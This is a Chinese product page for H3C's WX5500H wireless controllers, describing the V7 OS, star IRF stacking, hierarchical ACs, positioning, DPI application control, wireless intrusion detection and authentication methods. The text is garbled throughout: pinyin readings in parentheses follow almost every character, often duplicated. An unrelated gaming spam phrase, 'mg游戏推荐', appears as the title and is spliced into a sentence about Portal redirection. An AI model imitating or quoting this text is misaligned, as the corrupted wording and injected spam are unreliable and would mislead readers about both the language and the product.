mg游戏推荐

H3C WX5500H系列

H3C WX5500H是新华三(san)技术有(you)限公司(以(yi)下简称H3C公司)自主研(yan)发的(de)(de)新一代(dai)高性(xing)能(neng)有(you)线(xian)(xian)(xian)无(wu)(wu)(wu)线(xian)(xian)(xian)一体化控(kong)(kong)(kong)制(zhi)器(qi)(AC,Access Controller)产品系(xi)(xi)列(lie)(lie)。WX5500H系(xi)(xi)列(lie)(lie)无(wu)(wu)(wu)线(xian)(xian)(xian)控(kong)(kong)(kong)制(zhi)器(qi)定位国内(nei)高端(duan)企业(ye)市场,具有(you)大(da)容(rong)量、高可(ke)(ke)靠、业(ye)务(wu)类型(xing)(xing)(xing)丰富等(deng)(deng)(deng)特(te)点(dian)。硬件(jian)方(fang)面(mian)WX5500H系(xi)(xi)列(lie)(lie)配备高性(xing)能(neng)多(duo)核CPU及多(duo)块FPGA扣板,可(ke)(ke)以(yi)做到无(wu)(wu)(wu)线(xian)(xian)(xian)隧(sui)道全(quan)尺寸报文线(xian)(xian)(xian)速转发。软件(jian)方(fang)面(mian),采(cai)用H3C全(quan)新一代(dai)Comware V7网络操(cao)作系(xi)(xi)统平台(以(yi)下简称V7系(xi)(xi)统),除支(zhi)持(chi)原(yuan)系(xi)(xi)统的(de)(de)精细化用户控(kong)(kong)(kong)制(zhi)管(guan)理(li)、完善(shan)的(de)(de)射频资源管(guan)理(li)、7X24小时无(wu)(wu)(wu)线(xian)(xian)(xian)安全(quan)管(guan)控(kong)(kong)(kong)、二三(san)层快速漫游、灵活(huo)的(de)(de)QoS控(kong)(kong)(kong)制(zhi)、IPv4&IPv6双栈等(deng)(deng)(deng)多(duo)项功能(neng)之外(wai),还(hai)支(zhi)持(chi)多(duo)核控(kong)(kong)(kong)制(zhi)平面(mian)、新一代(dai)无(wu)(wu)(wu)线(xian)(xian)(xian)定位、Bonjour、Hotspot2.0等(deng)(deng)(deng)新兴的(de)(de)无(wu)(wu)(wu)线(xian)(xian)(xian)软件(jian)特(te)性(xing)。 相比传统无(wu)(wu)(wu)线(xian)(xian)(xian)控(kong)(kong)(kong)制(zhi)器(qi),WX5500H系(xi)(xi)列(lie)(lie)支(zhi)持(chi)云(yun)计(ji)算管(guan)理(li)、分层AC、星型(xing)(xing)(xing)IRF等(deng)(deng)(deng)多(duo)种灵活(huo)的(de)(de)组网方(fang)式,另外(wai)还(hai)提供有(you)线(xian)(xian)(xian)无(wu)(wu)(wu)线(xian)(xian)(xian)紧耦合(he)的(de)(de)一体化接入(ru),有(you)线(xian)(xian)(xian)无(wu)(wu)(wu)线(xian)(xian)(xian)特(te)性(xing)在同(tong)一个(ge)系(xi)(xi)统中配置和管(guan)理(li),可(ke)(ke)管(guan)理(li)性(xing)有(you)极大(da)提升(sheng)。 H3C WX5500H系(xi)(xi)列(lie)(lie)无(wu)(wu)(wu)线(xian)(xian)(xian)控(kong)(kong)(kong)制(zhi)器(qi)包含WX5540H、WX5560H、WX5580H三(san)款型(xing)(xing)(xing)号。配合(he)H3C Fit AP产品系(xi)(xi)列(lie)(lie),可(ke)(ke)以(yi)满足大(da)型(xing)(xing)(xing)企业(ye)园区WLAN接入(ru)、无(wu)(wu)(wu)线(xian)(xian)(xian)城域网覆盖(gai)、热(re)点(dian)覆盖(gai)等(deng)(deng)(deng)无(wu)(wu)(wu)线(xian)(xian)(xian)场景的(de)(de)典型(xing)(xing)(xing)应用。

  • 类别: 多业务无线控制器

提供对802.11ax AP的管理

WX5500H系列无(wu)线(xian)(xian)控制(zhi)(zhi)器(qi)在(zai)支持(chi)对传统(tong)(tong)802.11a/b/g/n/ac AP管理(li)的(de)同时,还可以与H3C基于802.11ax协议的(de)AP配合(he)组网(wang),从而突破传统(tong)(tong)无(wu)线(xian)(xian)网(wang)络串行通(tong)信的(de)机制(zhi)(zhi),促使无(wu)线(xian)(xian)频谱资(zi)源(yuan)利用(yong)率成倍提升,有(you)效接入用(yong)户(hu)数得到了极大(da)的(de)提高,有(you)效减少无(wu)线(xian)(xian)网(wang)络的(de)部(bu)署开销(xiao),极大(da)提升了高密(mi)度用(yong)户(hu)环境下的(de)用(yong)户(hu)体(ti)验。

基于全新的操作系统

WX5500H系(xi)列无线(xian)控制器采用(yong)H3C新一(yi)代V7系(xi)统开发,新的(de)(de)操作系(xi)统极(ji)大提升设备的(de)(de)性能和可(ke)靠性,能够满(man)足企业(ye)市场上(shang)越(yue)来越(yue)复杂的(de)(de)网络应用(yong),相比上(shang)一(yi)代操作系(xi)统,V7系(xi)统具有多方(fang)面的(de)(de)优势(shi):

  • 多核(he)控(kong)制(zhi):在V7系统中可以根据需(xu)(xu)要调整CPU控(kong)制(zhi)核(he)和(he)转发(fa)核(he)的(de)分配(pei)比(bi)例(li),可根据需(xu)(xu)求(qiu)达到一个最(zui)佳(jia)平衡,能(neng)够充(chong)分提(ti)升CPU的(de)控(kong)制(zhi)计(ji)算(suan)及数据计(ji)算(suan)的(de)能(neng)力(li),同时提(ti)供强大的(de)并发(fa)计(ji)算(suan)能(neng)力(li)。

  • 支持(chi)用(yong)(yong)户态多任务(wu)(wu)(wu):V7系统采用(yong)(yong)全(quan)新的(de)软(ruan)件运(yun)行权(quan)限控制方(fang)式,绝大多数网(wang)络业务(wu)(wu)(wu)都(dou)运(yun)行在用(yong)(yong)户态,不(bu)(bu)同网(wang)络业务(wu)(wu)(wu)占用(yong)(yong)不(bu)(bu)同的(de)任务(wu)(wu)(wu),每个任务(wu)(wu)(wu)占用(yong)(yong)独立(li)的(de)资源,某一(yi)任务(wu)(wu)(wu)运(yun)行错误只(zhi)局限在本任务(wu)(wu)(wu)之内,不(bu)(bu)影响其他任务(wu)(wu)(wu),使系统能够保(bao)持(chi)安全(quan)可靠地运(yun)行。

  • 用(yong)户(hu)态任(ren)(ren)务(wu)监(jian)控(kong):V7系统(tong)具(ju)有任(ren)(ren)务(wu)监(jian)控(kong)功能,系统(tong)专门监(jian)控(kong)用(yong)户(hu)态的各个(ge)任(ren)(ren)务(wu)的运行(xing)情况,如果用(yong)户(hu)态任(ren)(ren)务(wu)出(chu)异常(chang)情况,系统(tong)会重(zhong)载该任(ren)(ren)务(wu),使业务(wu)能够迅速恢(hui)复。

  • 采用新(xin)的单(dan)(dan)独业(ye)务升(sheng)(sheng)级的方式:V7系统(tong)支持单(dan)(dan)独的业(ye)务升(sheng)(sheng)级,只升(sheng)(sheng)级单(dan)(dan)独的某个业(ye)务模(mo)块而不需更新(xin)整个软(ruan)件,相对公司(si)前一代操作系统(tong),可大大减少重(zhong)启(qi)升(sheng)(sheng)级的次(ci)数,保证升(sheng)(sheng)级的安全性,有效提(ti)供网(wang)络(luo)稳定性。

提供强大的有线无线处理性能

WX5500H系列无(wu)线(xian)控(kong)制器(qi)采用(yong)新型(xing)高性能多核CPU,该CPU采用(yong) 8个独立内核,可(ke)以虚拟(ni)32个内核,提供强(qiang)大的并发计算能力(li),同(tong)时配(pei)(pei)置了高带宽的交(jiao)换芯(xin)片(pian)(pian)和高性能的可(ke)编程FPGA扣卡,设备(bei)配(pei)(pei)置芯(xin)片(pian)(pian)的性能带宽如下表所示,提供业界(jie)领先(xian)的无(wu)线(xian)报文处理能力(li)。

提供高密端口接入

WX5500H系列无(wu)线(xian)(xian)控制器在对外接口提供(gong)了高密(mi)的(de)端口接入(ru),以(yi)支持更好的(de)有线(xian)(xian)无(wu)线(xian)(xian)一(yi)体化接入(ru)(包括用(yong)户接入(ru),用(yong)户认(ren)证,计费(fei)等的(de)管理,有线(xian)(xian)无(wu)线(xian)(xian)用(yong)户统一(yi)管理),根据款型(xing)对外提供(gong)的(de)不(bu)同的(de)业务接口,以(yi)满足(zu)不(bu)同市场的(de)要求。通(tong)过提供(gong)高密(mi)端口及多种端口类型(xing),能满足(zu)用(yong)户灵活组(zu)网和(he)网络接入(ru)。

支持星型IRF

WX5500H系列无线控制器可支持H3C最新开发的星(xing)型(xing)(xing)IRF模型(xing)(xing),相比(bi)普(pu)通级(ji)联的IRF模型(xing)(xing),星(xing)型(xing)(xing)模型(xing)(xing)采用(yong)二层(ceng)网络(虚拟成一个中心点)连(lian)接多(duo)台(tai)设(she)备,组网更灵活方便。星(xing)型(xing)(xing)IRF模型(xing)(xing)的核心思想是将多(duo)台(tai)设(she)备以星(xing)型(xing)(xing)拓扑连(lian)接在一起,虚拟化(hua)成一台(tai)分布式设(she)备,具有以下优势:

  • 组网简单:星型IRF无须专用堆(dui)(dui)叠(die)线(xian)和专门堆(dui)(dui)叠(die)口,只需要(yao)通过交换机或者(zhe)直接(jie)连线(xian),二层相通即(ji)可(ke)建立堆(dui)(dui)叠(die)。

  • 能(neng)力叠(die)加:星型IRF整(zheng)体对外呈现一台虚(xu)(xu)拟AC,虚(xu)(xu)拟AC的管理AP和用(yong)户(hu)数(shu)量是多台AC能(neng)力的叠(die)加。

  • 配置(zhi)简单:在虚(xu)拟(ni)AC上(主AC,即用户可见(jian)的(de)一台(tai)AC)的(de)配置(zhi),能自动(dong)同(tong)步到(dao)所有AC。

  • 高可(ke)靠(kao)的(de)备(bei)份(fen):支持(chi)N+1备(bei)份(fen),一台AC宕机不影响虚拟AC的(de)功(gong)能,当前支持(chi)最(zui)多4台设备(bei)堆叠,组网可(ke)以(yi)采用3+1或(huo)者(zhe)2+2备(bei)份(fen)的(de)方式(shi)。

  • 灵(ling)活(huo)的license控制:星型IRF中(zhong)一台设备(bei)安装License,其(qi)他设备(bei)可共享(xiang)使用(yong), 虚拟AC的接入AP数(shu)(shu)是IRF中(zhong)设备(bei)安装的License数(shu)(shu)目之(zhi)和;另外,License虽然跟设备(bei)具体绑定和安装,但(dan)可以(yi)方便的卸(xie)载(zai)和迁移。

支持分层AC架构

分(fen)(fen)层(ceng)(ceng)(ceng)(ceng)AC架构是H3C创新(xin)提出的(de)(de)针(zhen)对市场上多级组网(wang)(wang)需求的(de)(de)全新(xin)组网(wang)(wang)模(mo)(mo)型,分(fen)(fen)层(ceng)(ceng)(ceng)(ceng)AC采用类似(si)大型连(lian)锁企业(ye)机构集中(zhong)(zhong)控制分(fen)(fen)级管(guan)理的(de)(de)架构方(fang)式,由一个总的(de)(de)核(he)心(xin)层(ceng)(ceng)(ceng)(ceng)管(guan)理AC下挂多个本地接入(ru)(ru)层(ceng)(ceng)(ceng)(ceng)AC,接入(ru)(ru)层(ceng)(ceng)(ceng)(ceng)AC直接下挂AP。接入(ru)(ru)层(ceng)(ceng)(ceng)(ceng)AC主要功能(neng)包括AP接入(ru)(ru)和(he)数据(ju)转(zhuan)发(fa)(fa)等实(shi)时性业(ye)务(wu),核(he)心(xin)层(ceng)(ceng)(ceng)(ceng)AC主要做网(wang)(wang)络(luo)的(de)(de)管(guan)理控制和(he)集中(zhong)(zhong)认证等非实(shi)时性全局业(ye)务(wu),另外核(he)心(xin)层(ceng)(ceng)(ceng)(ceng)AC也(ye)具有(you)普通AC的(de)(de)接入(ru)(ru)AP及(ji)数据(ju)转(zhuan)发(fa)(fa)功能(neng)。核(he)心(xin)层(ceng)(ceng)(ceng)(ceng)AC为(wei)(wei)高性能(neng)AC,布置在(zai)汇聚层(ceng)(ceng)(ceng)(ceng);而接入(ru)(ru)层(ceng)(ceng)(ceng)(ceng)AC可以由标准AC、All-in-one AC(具备路(lu)由、DPI功能(neng))或(huo)有(you)线无线一体(ti)化(hua)交换机组成,跟现有(you)网(wang)(wang)络(luo)平级布置;分(fen)(fen)层(ceng)(ceng)(ceng)(ceng)AC的(de)(de)这种架构模(mo)(mo)型将有(you)线无线一体(ti)化(hua)理念推(tui)向新(xin)的(de)(de)高度,能(neng)够适用于大规模(mo)(mo)无线网(wang)(wang)络(luo)部(bu)署。分(fen)(fen)层(ceng)(ceng)(ceng)(ceng)AC模(mo)(mo)型天然支持(chi)总部(bu)和(he)分(fen)(fen)支的(de)(de)应用场景,核(he)心(xin)链路(lu)带宽和(he)核(he)心(xin)层(ceng)(ceng)(ceng)(ceng)AC转(zhuan)发(fa)(fa)能(neng)力不再成为(wei)(wei)瓶颈,核(he)心(xin)层(ceng)(ceng)(ceng)(ceng)AC集中(zhong)(zhong)控制,接入(ru)(ru)层(ceng)(ceng)(ceng)(ceng)AC和(he)下挂AP能(neng)够很方(fang)便的(de)(de)实(shi)现自动升(sheng)级和(he)配置同步,极(ji)(ji)大地简化(hua)了版(ban)本升(sheng)级工作。在(zai)漫(man)游(you)场景,接入(ru)(ru)层(ceng)(ceng)(ceng)(ceng)AC负责(ze)AP间切换,漫(man)游(you)性能(neng)也(ye)得到(dao)极(ji)(ji)大提升(sheng)。

支持丘比特定位

WX5500H系列支持CUPID方式(shi)进行(xing)无线(xian)定(ding)位(wei)(wei),因为准确度高(gao),也(ye)称为丘比(bi)特(te)定(ding)位(wei)(wei)系统(tong)。丘比(bi)特(te)定(ding)位(wei)(wei)系统(tong)采用了类似于雷达(da)探(tan)测(ce)的(de)(de)原理(li),AP主(zhu)动给客(ke)户端发送(song)探(tan)测(ce)报文,通过计(ji)算发送(song)报文和(he)响应报文的(de)(de)时(shi)间差来计(ji)算客(ke)户端的(de)(de)位(wei)(wei)置。

提供新一代智能业务感知

智能(neng)(neng)(neng)(neng)业(ye)务感(gan)知(IntelligentApplicationAware)为有线和无线用户提供基(ji)于用户角色的(de)(de)(de)应(ying)(ying)用层安全、QOS和转(zhuan)发策(ce)略。通(tong)(tong)过(guo)(guo)智能(neng)(neng)(neng)(neng)业(ye)务感(gan)知功能(neng)(neng)(neng)(neng),可以(yi)(yi)(yi)指(zhi)定谁能(neng)(neng)(neng)(neng)访问(wen)(wen)(wen)网(wang)(wang)络,他(ta)的(de)(de)(de)各种应(ying)(ying)用(如http, ftp等)能(neng)(neng)(neng)(neng)访问(wen)(wen)(wen)的(de)(de)(de)网(wang)(wang)络范围以(yi)(yi)(yi)及(ji)允(yun)许的(de)(de)(de)网(wang)(wang)络带宽(kuan)。相(xiang)比上(shang)一(yi)代,新(xin)一(yi)代智能(neng)(neng)(neng)(neng)业(ye)务感(gan)知业(ye)务加(jia)入了对报文(wen)深度分析(DPI)功能(neng)(neng)(neng)(neng),扩充了应(ying)(ying)用的(de)(de)(de)识别(bie)和统计功能(neng)(neng)(neng)(neng)。在(zai)上(shang)一(yi)代系统中,主要(yao)是基(ji)于以(yi)(yi)(yi)太(tai)网(wang)(wang)协(xie)议的(de)(de)(de)四层端(duan)口(kou)(kou)号粗犷的(de)(de)(de)识别(bie),(比如80端(duan)口(kou)(kou)对应(ying)(ying)HTTP协(xie)议,20/21对应(ying)(ying)FTP,8000端(duan)口(kou)(kou)对应(ying)(ying)QQ等),用户可以(yi)(yi)(yi)通(tong)(tong)过(guo)(guo)设(she)置代理之类的(de)(de)(de)方式绕(rao)过(guo)(guo)访问(wen)(wen)(wen)限制,而在(zai)新(xin)一(yi)代系统中,直接基(ji)于以(yi)(yi)(yi)太(tai)网(wang)(wang)协(xie)议报文(wen)的(de)(de)(de)七层特征,根据(ju)具体应(ying)(ying)用中报文(wen)的(de)(de)(de)特征库进行(xing)识别(bie),对于这(zhei)样精准(zhun)的(de)(de)(de)识别(bie),是可以(yi)(yi)(yi)进行(xing)完全的(de)(de)(de)限制。通(tong)(tong)过(guo)(guo)报文(wen)深度解析功能(neng)(neng)(neng)(neng)不需要(yao)逐条(tiao)设(she)置禁止访问(wen)(wen)(wen)的(de)(de)(de)网(wang)(wang)站(zhan)(zhan)(例(li)如京东、淘宝、一(yi)号店等网(wang)(wang)站(zhan)(zhan)),而只需要(yao)设(she)置禁止访问(wen)(wen)(wen)购(gou)物累网(wang)(wang)站(zhan)(zhan)即可,简化(hua)了配置工作,提升了效率(lv)。

提供灵活的数据转发方式

传(chuan)统(tong)的无(wu)(wu)线(xian)控(kong)制器部署(shu)一(yi)般采(cai)用(yong)集(ji)中(zhong)式(shi)转(zhuan)(zhuan)(zhuan)发(fa)(fa)模式(shi),AC可以对报(bao)文进(jin)行(xing)(xing)全面控(kong)制和(he)安全监管,但所有(you)(you)的无(wu)(wu)线(xian)业(ye)务流(liu)量(liang)需(xu)要到(dao)(dao)AC进(jin)行(xing)(xing)统(tong)一(yi)处理,核心链(lian)路带宽和(he)AC转(zhuan)(zhuan)(zhuan)发(fa)(fa)能力容易成为(wei)(wei)瓶颈。特别是AP和(he)AC通过广域网方式(shi)进(jin)行(xing)(xing)连接时,AP作为(wei)(wei)数据接入设备部署(shu)在(zai)分支(zhi)机构,而AC部署(shu)在(zai)总部,所有(you)(you)用(yong)户(hu)(hu)数据由(you)(you)AP发(fa)(fa)送到(dao)(dao)AC,再由(you)(you)AC进(jin)行(xing)(xing)集(ji)中(zhong)转(zhuan)(zhuan)(zhuan)发(fa)(fa),导致转(zhuan)(zhuan)(zhuan)发(fa)(fa)效率低下(xia)。WX5500H系列(lie)无(wu)(wu)线(xian)控(kong)制器可以支(zhi)持集(ji)中(zhong)式(shi)转(zhuan)(zhuan)(zhuan)发(fa)(fa)、分布(bu)式(shi)转(zhuan)(zhuan)(zhuan)发(fa)(fa)、策略转(zhuan)(zhuan)(zhuan)发(fa)(fa),用(yong)户(hu)(hu)根据业(ye)务需(xu)要和(he)网络实际情况可以灵活设置(zhi)转(zhuan)(zhuan)(zhuan)发(fa)(fa)方式(shi)。

WX5500H系列(lie)无线控(kong)制器同时支持集中认证本地(di)(di)转(zhuan)发(fa)(fa)的(de)(de)组网方(fang)式(shi),在数据(ju)流(liu)本地(di)(di)转(zhuan)发(fa)(fa)的(de)(de)情况下(xia),提供802.1X和(he)Portal的(de)(de)集中认证和(he)管理。

支持运营级无线用户接入控制和管理

基(ji)于用户的接(jie)入(ru)控制是WX5500H系列无(wu)线控制器的一大特色,UserProfile(用户配(pei)置(zhi)(zhi)文件(jian))提供一个配(pei)置(zhi)(zhi)模板,能够保存(cun)预设(she)配(pei)置(zhi)(zhi)(一系列配(pei)置(zhi)(zhi)的集(ji)合)。用户可以根据不(bu)同(tong)的应(ying)用场景为UserProfile配(pei)置(zhi)(zhi)不(bu)同(tong)的内容(rong),比如CAR(Committed Access Rate,承诺访问(wen)速率(lv))策略(lve)和QoS(Quality ofService,服务(wu)质量)策略(lve)等。

用(yong)(yong)(yong)户(hu)访(fang)问(wen)设(she)(she)备(bei)时(shi)(shi),需(xu)要(yao)先进行(xing)身份认证。在认证过程中,认证服(fu)务器(qi)会将UserProfile名(ming)称下(xia)(xia)发给设(she)(she)备(bei),设(she)(she)备(bei)会立即启用(yong)(yong)(yong)UserProfile里配(pei)置的(de)(de)(de)具体内(nei)容。当(dang)用(yong)(yong)(yong)户(hu)通过认证访(fang)问(wen)设(she)(she)备(bei)时(shi)(shi),设(she)(she)备(bei)将通过这些具体内(nei)容限(xian)(xian)制用(yong)(yong)(yong)户(hu)的(de)(de)(de)访(fang)问(wen)行(xing)为。当(dang)用(yong)(yong)(yong)户(hu)下(xia)(xia)线(xian)(xian)(xian)时(shi)(shi),系统会自动禁用(yong)(yong)(yong)UserProfile下(xia)(xia)的(de)(de)(de)配(pei)置项,从而(er)取消User Profile对用(yong)(yong)(yong)户(hu)的(de)(de)(de)限(xian)(xian)定。因此,UserProfile适用(yong)(yong)(yong)于限(xian)(xian)制上线(xian)(xian)(xian)用(yong)(yong)(yong)户(hu)的(de)(de)(de)访(fang)问(wen)行(xing)为,没(mei)有用(yong)(yong)(yong)户(hu)上线(xian)(xian)(xian)(可能是(shi)没(mei)有用(yong)(yong)(yong)户(hu)接入(ru)、或者用(yong)(yong)(yong)户(hu)没(mei)有通过认证、或者用(yong)(yong)(yong)户(hu)下(xia)(xia)线(xian)(xian)(xian))时(shi)(shi),UserProfile是(shi)预设(she)(she)配(pei)置,并不生效。

另外(wai),WX5500H系列无线控制器还支(zhi)持基于MAC的(de)(de)(de)(de)认(ren)证接入控制方(fang)式(shi)(shi),这种(zhong)方(fang)式(shi)(shi)不但可(ke)以使得客户在(zai)AAA服(fu)务(wu)器上对(dui)(dui)用(yong)户组进行(xing)权(quan)限的(de)(de)(de)(de)配(pei)置和修(xiu)改,同时支(zhi)持对(dui)(dui)具体用(yong)户的(de)(de)(de)(de)权(quan)限的(de)(de)(de)(de)配(pei)置,这种(zhong)精细的(de)(de)(de)(de)用(yong)户权(quan)限控制大大增(zeng)强了无线网络的(de)(de)(de)(de)可(ke)用(yong)度,网管(guan)人(ren)(ren)员(yuan)可(ke)以轻(qing)松通过该方(fang)式(shi)(shi)对(dui)(dui)不同级别(bie)的(de)(de)(de)(de)人(ren)(ren)或人(ren)(ren)群进行(xing)接入权(quan)限分配(pei)。

基于MAC的(de)VLAN同(tong)样也是(shi)WX5500H系列无线控制器的(de)一大(da)特色(se),在控制策(ce)略(lve)上(shang),管(guan)(guan)理员可(ke)(ke)以把相(xiang)同(tong)性质的(de)用户(MAC)划分到同(tong)一个VLAN,同(tong)时在控制器上(shang)基于VLAN配置安全策(ce)略(lve),这样做(zuo)既可(ke)(ke)以简(jian)化系统配置,又可(ke)(ke)以做(zuo)到用户级粒度的(de)精细管(guan)(guan)理。

出(chu)于(yu)安全性或计费等考(kao)虑,系统管理员可能(neng)希望控制无(wu)线用(yong)户接(jie)(jie)入(ru)到(dao)(dao)网(wang)络中的(de)位(wei)(wei)置(zhi)。WX5500H系列无(wu)线控制器(qi)支持基(ji)于(yu)AP位(wei)(wei)置(zhi)的(de)用(yong)户接(jie)(jie)入(ru)控制。当无(wu)线用(yong)户接(jie)(jie)入(ru)网(wang)络时,可以通(tong)过认证服务器(qi)向AC下发(fa)允许用(yong)户接(jie)(jie)入(ru)的(de)AP列表,在AC上进行接(jie)(jie)入(ru)控制,从而达到(dao)(dao)限制无(wu)线用(yong)户只(zhi)能(neng)接(jie)(jie)入(ru)到(dao)(dao)指定位(wei)(wei)置(zhi)的(de)AP的(de)目的(de)。

支持信道智能切换

无(wu)线局(ju)域网中,信(xin)道是(shi)非常稀缺(que)的资(zi)源,每(mei)个AP只能够工作在非常有限(xian)的非重(zhong)叠信(xin)道上,比如(ru)(ru)对(dui)于2.4G网络(luo),只有3个非重(zhong)叠信(xin)道,所以(yi)如(ru)(ru)何智能地为AP分配信(xin)道是(shi)无(wu)线应(ying)用的关键(jian)。

无线局域网(wang)工(gong)作(zuo)的(de)频段存在大(da)量可(ke)能(neng)(neng)的(de)干扰(rao)源,如雷(lei)达、微波炉,它们在网(wang)络中(zhong)的(de)出现(xian)将干扰(rao)AP的(de)正常工(gong)作(zuo)。通过信道智能(neng)(neng)切(qie)换功能(neng)(neng),可(ke)以保证每个AP能(neng)(neng)够(gou)分(fen)配到最优的(de)信道,尽可(ke)能(neng)(neng)地减少和避免相邻信道干扰(rao),而且通过实(shi)时信道干扰(rao)检测,可(ke)以让(rang)AP实(shi)时避开雷(lei)达,微波炉等干扰(rao)源。

支持智能AP负载分担

802.11协议把(ba)无(wu)(wu)(wu)线(xian)漫游的决策(ce)交给了(le)无(wu)(wu)(wu)线(xian)客(ke)户(hu)(hu)(hu)端,无(wu)(wu)(wu)线(xian)客(ke)户(hu)(hu)(hu)端一(yi)般会根据AP信号强度(RSSI)选(xuan)择AP,这(zhei)很容易(yi)导(dao)致(zhi)大量的客(ke)户(hu)(hu)(hu)端仅仅因为某(mou)个AP信号较(jiao)强而连接到同一(yi)个AP上。由于(yu)这(zhei)些客(ke)户(hu)(hu)(hu)端共(gong)享无(wu)(wu)(wu)线(xian)媒介(jie),导(dao)致(zhi)每个客(ke)户(hu)(hu)(hu)端的网(wang)络吞吐将大量减少。

智能负(fu)载(zai)分担(dan)(dan)方法可(ke)以(yi)实(shi)(shi)时(shi)地分析无线(xian)客(ke)户端(duan)的位置,动态地确定在当(dang)前时(shi)刻和(he)当(dang)前位置下哪些(xie)(xie)AP可(ke)以(yi)彼(bi)此(ci)分担(dan)(dan)负(fu)载(zai),通过控制无线(xian)客(ke)户端(duan)接入(ru)的AP,来实(shi)(shi)现(xian)这(zhei)些(xie)(xie)AP间的负(fu)载(zai)分担(dan)(dan)。系统不(bu)仅支(zhi)持按照用(yong)户在线(xian)会话(hua)数的负(fu)载(zai)分担(dan)(dan),而(er)且支(zhi)持按照用(yong)户流量(liang)负(fu)载(zai)的分担(dan)(dan)。

支持7层移动安全检测/防御(wIDS/wIPS)

WX5500H系列无(wu)(wu)线控(kong)制(zhi)器(qi)支持(chi)的(de)移(yi)动安全防(fang)御模(mo)式有:黑名单、白名单、Rogue防(fang)御、畸形(xing)报文检(jian)测、非(fei)法(fa)用(yong)户下(xia)线、基于可预设(she)升级的(de)Signature MAC层攻(gong)击(ji)检(jian)测与反制(zhi)(例如:DoS攻(gong)击(ji),Flood攻(gong)击(ji)、中间人(ren)攻(gong)击(ji))等。配(pei)合(he)无(wu)(wu)线应用(yong)控(kong)制(zhi)台内置的(de)海量(liang)智能专家知识库,可以获得灵活的(de)无(wu)(wu)线安全策略判断依据,对于明确的(de)非(fei)法(fa)攻(gong)击(ji)源(AP或终端等),实现可视的(de)物(wu)理位置跟踪监控(kong)和(he)交(jiao)换机(ji)物(wu)理端口移(yi)除。

通过配合H3C专业核心(xin)层防(fang)(fang)火墙/IPS设(she)备,更可以实现移动(dong)园区的7层立(li)体安全防(fang)(fang)御,满足(zu)真正的从无线(802.11)到(dao)有(you)线(802.3)端(duan)到(dao)端(duan)安全防(fang)(fang)护需求。

支持802.1x认证,MAC地址认证,Portal认证等

WX5500H系列无线控制器支持(chi)多种认证方式:

  • 802.1x认(ren)(ren)证(zheng)(zheng)(zheng):WX5500H系(xi)列(lie)无线(xian)控(kong)制(zhi)器(qi)支(zhi)持(chi)TLS、PEAP、TTLS、MD5、SIM卡等多种(zhong)802.1x的认(ren)(ren)证(zheng)(zheng)(zheng)方(fang)式,同时还支(zhi)持(chi)802.1x本地认(ren)(ren)证(zheng)(zheng)(zheng)方(fang)式,提供(gong)对(dui)(dui)MD5、TLS、PEAP这几种(zhong)主流认(ren)(ren)证(zheng)(zheng)(zheng)方(fang)式的支(zhi)持(chi),用(yong)户(hu)(hu)不再需要额外配(pei)置(zhi)AAA服务(wu)器(qi)。WX5500H系(xi)列(lie)无线(xian)控(kong)制(zhi)器(qi)还支(zhi)持(chi)通过(guo)802.1x认(ren)(ren)证(zheng)(zheng)(zheng)后(hou)动态授权VLAN和ACL功能,对(dui)(dui)用(yong)户(hu)(hu)的策略可(ke)以事先设定好,用(yong)户(hu)(hu)认(ren)(ren)证(zheng)(zheng)(zheng)时,系(xi)统自动配(pei)置(zhi)客户(hu)(hu)权限(xian)。

  • MAC地(di)址(zhi)认(ren)证:WX5500H系(xi)列无(wu)线(xian)控制器(qi)支持MAC地(di)址(zhi)认(ren)证,对一些手持终(zhong)(zhong)端(duan)(duan)(例(li)(li)如:Wi-FiPhone、手持移(yi)动(dong)终(zhong)(zhong)端(duan)(duan)等)并(bing)不(bu)方(fang)便采取电脑上的认(ren)证方(fang)式,MAC地(di)址(zhi)认(ren)证却可以轻松解(jie)决该问题,实现在控制器(qi)或者(zhe)AAA服务器(qi)上配置(zhi)好合法的MAC地(di)址(zhi),这(zhei)些MAC地(di)址(zhi)对应的终(zhong)(zhong)端(duan)(duan)就(jiu)可以被(bei)允许被(bei)接(jie)入到网络(luo),而(er)事先没有(you)被(bei)配置(zhi)的非法终(zhong)(zhong)端(duan)(duan)则不(bu)能接(jie)入无(wu)线(xian)网络(luo),该功(gong)能极(ji)大(da)地(di)方(fang)便了例(li)(li)如无(wu)线(xian)医(yi)疗系(xi)统等应用,MAC地(di)址(zhi)认(ren)证可以确保只有(you)医(yi)院的PDA工作终(zhong)(zhong)端(duan)(duan)才能接(jie)入到无(wu)线(xian)网络(luo),而(er)拒绝病人(ren)的无(wu)线(xian)PDA使(shi)用专用无(wu)线(xian)网络(luo)。

  • Portal认(ren)证(zheng):WX5500H系(xi)列无(wu)线控制(zhi)(zhi)器提供内(nei)置的Portal认(ren)证(zheng)服务(wu)器。该认(ren)证(zheng)方式无(wu)需客户(hu)端(duan)配合,直接通(tong)过浏览器WEBPortal页面作为(wei)认(ren)证(zheng)通(tong)道,当用户(hu)认(ren)证(zheng)通(tong)过后,可(ke)以灵活(huo)跳(tiao)转到(dao)指定(ding)访(fang)问(wen)mg游戏推荐并启(qi)动相应授权和计费(fei)。同时也(ye)可(ke)以根据(ju)策略要求,灵活(huo)推送(song)定(ding)制(zhi)(zhi)Portal页面,达(da)到(dao)广告宣(xuan)传(chuan)、信息(xi)传(chuan)递的作用,广泛使用在无(wu)线校园(yuan)、无(wu)线城市(shi)、访(fang)客接入等应用场景。

支持IPv4/IPv6双协议栈(Native IPv6)

WX5500H系(xi)列(lie)无线(xian)控(kong)制(zhi)器支持无线(xian)客户的(de)IPV6接入(ru)。在(zai)隧道起点(dian)AP上,由于设备(bei)对(dui)IPv6感知,所以(yi)可以(yi)做到(dao)IPv6优先(xian)级(ji)(ji)到(dao)隧道优先(xian)级(ji)(ji)映射等;在(zai)AC侧,同(tong)样可以(yi)对(dui)IPv6报文进行ACL过(guo)滤等复杂的(de)控(kong)制(zhi)和过(guo)滤。

